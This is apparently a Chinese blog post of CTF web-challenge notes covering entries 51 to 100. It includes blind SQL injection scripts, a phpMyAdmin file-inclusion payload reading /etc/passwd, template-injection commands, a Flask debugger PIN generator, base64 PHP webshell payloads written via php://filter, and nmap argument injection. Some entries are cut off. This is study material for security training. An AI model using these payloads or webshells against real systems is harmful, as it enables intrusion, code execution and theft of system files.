您当前的位置: 首页 > 

yu22x

暂无认证

  • 1浏览

    0关注

    109博文

    0收益

  • 0浏览

    0点赞

    0打赏

    0留言

私信
关注
热门博文

题目总结 web 51-100

yu22x 发布时间:2020-04-28 23:02:12 ,浏览量:1

0x051 [BJDCTF2020]Mark loves cat

知识点:

a=b&c=d
foreach($_POST as $x => $y){
   echo $x;
   echo "";
   echo $y;
   echo "";
}
将输出  a b c d
0x052[BJDCTF 2nd]Schrödinger

修改时间戳 多留意cookie

0x053[GWCTF 2019]我有一个数据库

知识点: phpmyadmin漏洞 影响版本:4.8.0——4.8.1 payload:/phpmyadmin/?target=db_datadict.php%253f/…/…/…/…/…/…/…/…/etc/passwd

0x054 [BJDCTF 2nd]简单注入
import requests
url='http://d491201c-e8b8-483e-b1ad-12d0f3830527.node3.buuoj.cn/check.php'
flag=''
for i in range(1,150):
    print(i)
    for j in range(38,128):
        payload="||if(ascii(substr(password,"+str(i)+",1))>"+str(j)+",1,sleep(3))#"
        data={
            'username':'\\',
            'password':payload
            }
        try:
            requests.post(url,data=data,timeout=(2.5,2.5))
        except:
            flag+=chr(j)
            print(flag)
            break
            
0x055 [BJDCTF2020]The mystery of ip (ssti模板注入)

知识点: php模板注入 {{system(‘ls’)}}

0x056 [安洵杯 2019]easy_serialize_php (反序列化漏洞)

_SESSION[user]=fl1gfl1gfl1gfl1gfl1gfl1g&_SESSION[function]="";s:8:"function";s:1:"1";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

0x057 [BJDCTF2020]ZJCTF,不过如此

知识点: reg_replace() /e模式漏洞 \S*=${phpinfo()}

0x058 [CISCN2019 总决赛 Day2 Web1]Easyweb

知识点: 多次转义出现漏洞

$id=addslashes($id);
$id=str_replace(array("\\0","%00","\\'","'"),"",$id);
$result=mysqli_query($con,"select * from images where id='{$id}' or path='{$path}'");

短标签: (php.ini开启short_open_tag = On)

0x059 [V&N2020 公开赛]HappyCTFd

知识点: ctfd漏洞 利用添加空格绕过限制来注册一个与受害者用户名相同的账号 生成忘记密码链接发送到自己的邮箱 将自己的账号的用户名改成与被攻击者不相同的用户名 用邮箱中收到的链接更改密码即可。

0x060[极客大挑战 2019]FinalSQL

知识点: case 1 when 1 then sleep(3) else 0 end代替 if

0x061 [BJDCTF 2nd]xss之光

alert(document.cookie)

0x062 [BJDCTF 2nd]elementmaster
import requests

url='http://039fe22e-9b61-4b6c-8bd5-399ad752b4a5.node3.buuoj.cn/'
flag=''
element=['H', 'He', 'Li', 'Be', 'B', 'C', 'N', 'O', 'F', 'Ne', 'Na', 'Mg', 'Al', 'Si', 'P', 'S', 'Cl', 'Ar',
        'K', 'Ca', 'Sc', 'Ti', 'V', 'Cr', 'Mn', 'Fe', 'Co', 'Ni', 'Cu', 'Zn', 'Ga', 'Ge', 'As', 'Se', 'Br',
        'Kr', 'Rb', 'Sr', 'Y', 'Zr', 'Nb', 'Mo', 'Te', 'Ru', 'Rh', 'Pd', 'Ag', 'Cd', 'In', 'Sn', 'Sb', 'Te',
        'I', 'Xe', 'Cs', 'Ba', 'La', 'Ce', 'Pr', 'Nd', 'Pm', 'Sm', 'Eu', 'Gd', 'Tb', 'Dy', 'Ho', 'Er', 'Tm',
        'Yb', 'Lu', 'Hf', 'Ta', 'W', 'Re', 'Os', 'Ir', 'Pt', 'Au', 'Hg', 'Tl', 'Pb', 'Bi', 'Po', 'At', 'Rn',
        'Fr', 'Ra', 'Ac', 'Th', 'Pa', 'U', 'Np', 'Pu', 'Am', 'Cm', 'Bk', 'Cf', 'Es', 'Fm','Md', 'No', 'Lr',
        'Rf', 'Db', 'Sg', 'Bh', 'Hs', 'Mt', 'Ds', 'Rg', 'Cn', 'Nh', 'Fl', 'Mc', 'Lv', 'Ts', 'Og', 'Uue']

for i in element:
        r=requests.get(url+i+'.php')
        if r.status_code == 200:
                flag+=r.text
                print (flag)

0x063 [SUCTF 2019]EasyWeb( 文件上传)

知识点: 1 异或绕过正则表达式 2 上传.htaccess .htaccess上传的时候不能用GIF89a等文件头去绕过exif_imagetype,因为这样虽然能上传成功,但.htaccess文件无法生效。 php是7.2的版本,无法使用

来绕过对 &xxe; 0x071 [RoarCTF 2019]Online Proxy

任何地方都有可能是注入点,多去尝试

0x072 [GYCTF2020]FlaskApp

bin码生成

* 1. 服务器运行flask所登录的用户名。 通过/etc/passwd中可以猜测为flaskweb 或者root ,此处用的flaskweb

* 2. modname 一般不变就是flask.app

* 3. getattr(app, "\_\_name__", app.\_\_class__.\_\_name__)。python该值一般为Flask 值一般不变

* 4. flask库下app.py的绝对路径。通过报错信息就会泄露该值。本题的值为 /usr/local/lib/python3.7/site-packages/flask/app.py

* 5.当前网络的mac地址的十进制数。通过文件/sys/class/net/eth0/address eth0为当前使用的网卡:

* 6.最后一个就是机器的id。

对于非docker机每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系统没有这两个文件,windows的id获取跟linux也不同。

对于docker机则读取/proc/self/cgroup

pin码生成

import hashlib
from itertools import chain
probably_public_bits = [
    'flaskweb',# username
    'flask.app',
    'Flask',
    '/usr/local/lib/python3.7/site-packages/flask/app.py' 
]

private_bits = [
    '2485410337047',# address
    '0e8d403fd78af15e7562120ee48010dfbe557250ea8e4deb84c2979e3df15765'# machine-id
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)
0X073 [GYCTF2020]Easyphp

不会

0x074 [MRCTF2020]Ez_bypass

数组绕过 md5 123456==‘123456a’

0x075 [BSidesCF 2019]Futurella

pass

0x076 [BSidesCF 2019]Kookie

pass

0x077[BSidesCF 2020]Had a bad day(文件包含)

php://filter/read=convert.base64-encode/aaa/resource=index.php

0x078 [MRCTF2020]PYWebsite

XFF 仔细读题

0x079 [MRCTF2020]套娃

知识点: 1 $_SERVER[‘QUERY_STRING’] 不会url解码 2 url不区分大小写 3 preg_match('/^23333$/', $_GET['b_u_p_t']%0绕过 4 获取ip X-Forwarded-For X-Real-IP client-ip 5 file_get_content()绕过 data伪协议 input 伪协议

0x080 [WUSTCTF2020]朴实无华

知识点: 1 php 5.5版本 intval(‘1999e2’)=1999 inval(‘1999e2’+1)=199901 php 7版本 intval(‘1999e2’)=199900 intal(‘1999e2’+1)=199901 2 md5(‘0e215962017’)=0e291242476940776845150308577824 3 strstr(‘12 3’,’ ')=3 4 str_ireplace: 把Hello world!中的world替换成 上海 echo str_ireplace(“WORLD”,“Shanghai”,“Hello world!”);

0x081[GYCTF2020]Ezsqli (无列名注入)

知识点: 如果表中只有一列可以 SUBSTR((SELECT * FROM table),1,1)='x' 如果多列的话可以 select (select 'f',1)>(select * from flag) select b from (select 1,2 as b union select * from flag)a; 如果区分大小写 使用0x即可 字符集 -.0123456789:abcdefghijklmnopqrstuvwxyz{|}~

0x082 [CISCN2019 华北赛区 Day1 Web1]Dropbox(phar)

1)phar文件要能够上传至服务器

2)要有可用的魔术方法为跳板

3)文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤

array_push(array,“red”): 向数组中添加字符

php 魔法方法:

public __call ( string $name , array $arguments )
$name 参数是要调用的方法名称。$arguments 参数是一个枚举数组,包含着要传递给方法 $name 的参数。

public __toString ( void ) : string
一个类被当成字符串时应怎样回应

__invoke ([ $... ] ) : mixed
当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用。

public __set ( string $name , mixed $value ) : void
在给不可访问属性赋值时,__set() 会被调用。
参数 $name 是指要操作的变量名称。__set() 方法的 $value 参数指定了 $name 变量的值。

public __get ( string $name ) : mixed
读取不可访问属性的值时,__get() 会被调用。

public __sleep ( void ) : array
serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,该方法会先被调用,然后才执行序列化操作。

__wakeup ( void ) : void
与之相反,unserialize() 会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup 方法

public static function __set_state($an_array)
当调用 var_export() 导出类时,此静态 方法会被调用。

__clone ( void ) : void
当复制完成时,如果定义了 __clone() 方法,则新创建的对象(复制生成的对象)中的 __clone() 方法会被调用,可用于修改属性的值(如果有必要的话)。

public function __debugInfo()
该方法在var_dump()类对象的时候被调用,如果没有定义该方法,则var_dump会打印出所有的类属性

Phar生成

$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."");//设置stub,增加gif文件头
$phar->setMetadata($a); //将自定义meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();
0x083[百度杯CTF比赛 九月场] SQLi 逗号绕过注入

在这里插入图片描述 select username from users where u = ‘1’ union select * from ( (select user())a JOIN (select version())b)

0x084 [Zer0pts2020]Can you guess it?

知识点: $_SERVER['PHP_SELF'] 当前执行脚本的文件名 在这里插入图片描述 在这里插入图片描述

basename("/testweb/home.php");// home.php
$_SERVER['PHP_SELF']; //  /a.php

0x085 [b01lers2020]Welcome to Earth

pass

0x086 [MRCTF2020]Ezaudit (php_mt_seed 爆破)

知识点 mt_srand()撒种 mt_rand() 每个php cgi进程期间,只有第一次调用mt_rand()会自动播种。接下来都会根据这个第一次播种的种子来生成随机数

0x087 [WUSTCTF2020]CV Maker

pass

0x088 X计划文件包含

知识点 php://input

知识点: 有些数据库%00是注释符

data={
                     'username':'\\',
                     'passwd':'||passwd/**/regexp/**/"^{0}";{1}'.format(w,key)
               }

利用正则表达式盲注密码

Microsoft Access支持“null”和“%00”注释;
Microsoft SQL Server支持“--”和“;”注释;
MySQL支持“/*”注释;
Oracle支持“--”注释;

readfile(“file://localhost/etc/passwd”)可以读文件

0x093

a:2:{i:0;O:1:"B":0:{}i:0;i:1;}

如果传入一个序列化的数组,并且这个数组中存在两个或多个key相等的变量,那么反序列化的时侯将删除首先输入的变量。因此,如果将类 B 对象作为value冗余,则将调用析构函数,而不会导致反序列化错误,即先解析 O:1:“B”:0:{} 生成一个对象,然后在向后解析又遇到 i:0 于是将前一个 i:0 的值改为1,就相当于消灭了之前生成的对象于是触发__destruct函数,之后也是冗余的关系使得反序列化的结果返回的是 array(0=>1) ,不为False,于是不会进入到ob_end_clean(),最后输出flag

这题如果直接传入

O:1:“B”:0:{} 是不会输出flag,因为虽然这样反序列化得到的a是一个对象不等于False,但是之后会通过throw new 抛出一个错误,它这里的抛出错误就类似于下了一个断点一样,使得脚本程序的运行停止在了这里,并没有结束,所以反序列化后的B对象仍然存在,不会触发__destruct

0x094

源码


知识点: 绕过死亡exit

我们观察一下,这个实际上是什么? 实际上是一个XML标签,既然是XML标签,我们就可以利用strip_tags函数去除它,而php://filter刚好是支持这个方法的。

payload: death=&filename=php://filter/write=string.rot13/resource=shell.php

death=PD9waHAgZXZhbCgkX1BPU1RbMV0pOw==&filename=php://filter/write=string.strip_tags/convert.base64-decode/resource=shell.php

death=aaaPD9waHAgZXZhbCgkX1BPU1RbMV0pOw==&filename=php://filter/write=convert.base64-decode/resource=shell.php

0x095 [CISCN2019 华东南赛区]Web11

知识点:php(smarty)模板注入 {if system("ls")}{/if}

0x096 [网鼎杯 2020 朱雀组]Nmap

echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);. 1.传入的参数是:172.17.0.2’ -v -d a=1

2.经过escapeshellarg处理后变成了’172.17.0.2’’’ -v -d a=1’,即先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。

3.经过escapeshellcmd处理后变成’172.17.0.2’\’’ -v -d a=1’,这是因为escapeshellcmd对\以及最后那个不配对儿的引号进行了转义。 一些细节的错误会导致无法访问,例如:

1.后面没有加引号

?host=’ -oG hack.php

输出:’’\’’ -oG test.php’

返回结果是文件名后面会多一个引号

2.加引号但引号前没有空格

?host=’ -oG hack.php’

输出:’’\’’ -oG test.php’\’’’

文件名后面就会多出\

0x097 bestphp’s revenge

SoapClient 是一个php内置的类,当__call方法被触发后,它可以发送HTTP和HTTPS请求。该类的构造函数如下: session_start([‘serialize_handler’=>‘php_serialize’])

public SoapClient :: SoapClient (mixed $wsdl [,array $options ])

poc


最后加| php 键名 + 竖线 + 经过serialize()函数反序列化处理的值 php_binary 键名的长度对应的ASCII字符 + 键名 + 经过serialize()函数反序列化处理的值 php_serialize(php>=5.5.4) 经过serialize()函数反序列处理的数组

0x098 [SWPU2019]Web3

知识点 session伪造 python3 flask_session_cookie_manager3.py decode -c '.eJyrVspMUbKqVlJIUrJS8g20tVWq1VHKLI7PyU_PzFOyKikqTdVRKkgsLi7PLwIqVEpMyQWK6yiVFqcW5SXmpsKFagFiyxgX.XtOUAA.KlkgEF4cwRcBmghj563W_9rlnQs ' -s 'keyqqqwwweee!@#$%^&*' ln -s是Linux的一种软连接,类似与windows的快捷方式 ln -s /etc/passwd forever404 这会出现一个forever404文本,里面包含密码 /proc/self 记录了系统运行的信息状态等,cwd 指向当前进程运行目录的一个符号链接,即flask运行进程目录

ln -s /proc/self/cwd/flag/flag.jpg qwe zip -ry qwe.zip qwe

0x099 [GYCTF2020]EasyThinking

知识点 thinkphp6 任意文件操作漏洞 session可控,修改session,长度为32位,session后缀改为.php(加上.php后为32位) 然后再search搜索的内容会直接保存在/runtime/session/目录下,getshell /runtime/session/sess_1234567890123456789012345678.php

0x100 [SWPU2019]Web4

知识点: 堆叠注入 set @a=0x********;prepare test from @a;execute test; 从r参数中获取要访问的Controller以及Action,然后以/分隔开后拼接成完整的控制器名。以Login/Index为例,就是将Login/Index分隔开分别拼接成LoginController以及actionIndex,然后调用LoginController这个类中的actionIndex方法。每个action里面会调用对应的loadView()方法进行模版渲染,然后将页面返回给客户端。若访问的Controller不存在则默认解析Login/Index。

关注
打赏
1617522777
查看更多评论
立即登录/注册

微信扫码登录

0.0916s